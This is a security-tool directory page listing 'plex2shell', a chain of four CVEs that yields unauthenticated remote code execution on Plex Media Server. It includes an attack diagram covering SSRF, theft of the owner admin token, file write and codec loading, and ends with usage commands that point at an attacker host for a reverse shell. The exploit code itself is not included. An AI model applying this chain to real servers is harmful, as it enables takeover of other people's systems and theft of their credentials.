Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
plex2shell — CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656 | Kitploit
Tools/GitHubGitHub/gmh5225/plex2shell
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationPost-ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubgmh5225/plex2shell

plex2shell

CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656

View Repository
314 days agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

plex2shell

Unauth RCE chain for Plex Media Server 1.43.3.10828 and older.

CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Write-up: https://zmain.info/blog/plex2shell

Disclaimer

This tool is published for authorized security testing, academic research, and defensive purposes only. Use it only against systems you own or have explicit written permission to test. The authors are not responsible for misuse or damage caused by this tool. Unauthorized access to computer systems is illegal.

CVEs

CVEPrimitive
CVE-2026-96652Unauthenticated SSRF via /player/timeline protocol=
CVE-2026-96654Loopback pivot: dead auth guard + searchOne identifier= injection
CVE-2026-96655Owner-authed transcoder SSRF + arbitrary-path file write (dump-yuv)
CVE-2026-96656Code execution via unsigned codec dlopen in the Codecs set-dir

Chain

[bare internet, junk token]
      |
   (1) /player/timeline  --- SSRF ---> loopback origin
      |
   (2) /system/agents/.../searchOne  --- identifier= injection --->
      |                                  cross-plugin RPC
      |
   (3) networking.py:149  --- 127.0.0.1.* prefix confusion --->
      |                       owner admin token exfil
      v
   attacker holds the OWNER admin token
      |
   (4) /video/:/transcode/universal?path=<url>  --- transcoder SSRF --->
      |                                             fetch attacker media
      |
   (5) TranscoderH264Options=dump-yuv  --- x264 writes attacker ELF
      |                                    into Codecs set-dir
      v
   second transcode  ->  dlopen()s every *.so  ->  constructor runs
      v
   [uid=1000(plex)]

The payload is the frame-0 luma of a lossless (qp=0) carrier that the

Prerequisites

  • Python 3.8+, ffmpeg, gcc (or x86_64-w64-mingw32-gcc for Windows targets)
  • Attacker host reachable from the target (media fetch + reverse shell)

Usage

# Linux native (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9

# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9

# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9

# One-shot:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"

--help for everything else.

License

GPLv3

Download Tool